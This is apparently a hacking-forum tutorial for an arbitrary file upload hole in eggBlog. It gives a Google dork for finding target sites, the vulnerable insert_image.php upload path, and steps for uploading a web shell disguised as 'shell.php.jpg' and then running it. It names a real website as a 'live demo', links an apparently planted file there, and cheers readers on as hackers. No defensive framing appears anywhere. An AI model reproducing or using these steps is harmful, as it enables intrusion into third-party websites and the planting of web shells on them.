eggBlog Arbitrary File Upload Vulnerability

So here is a new eggBlog Vulnerability that allow user to upload arbitrary files (if you know what i mean ha ha :) ).
lets get into it.

Go to google type powered by eggBlog.net in search box.
Google Dork:"powered by eggBlog.net"
You will get a list of search result now choose a link(like shown below)

Select any url (http://xyz.com/[path])and replace it with this one
http://xyz.com/[path]/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=


now all you have to do now is upload you file(shell/whatever you like )
and access it with this kina url.

http://server/[path]/photos/uploads/shell.php.jpg

Live demo:

http://www.websitesbyblake.com/

http://www.websitesbyblake.com/_lib/openwysiwyg/addons/imagelibrary/insert_image.php?wysiwyg=

http://www.websitesbyblake.com/photos/uploads/hacked.gif

So All the best hackers :)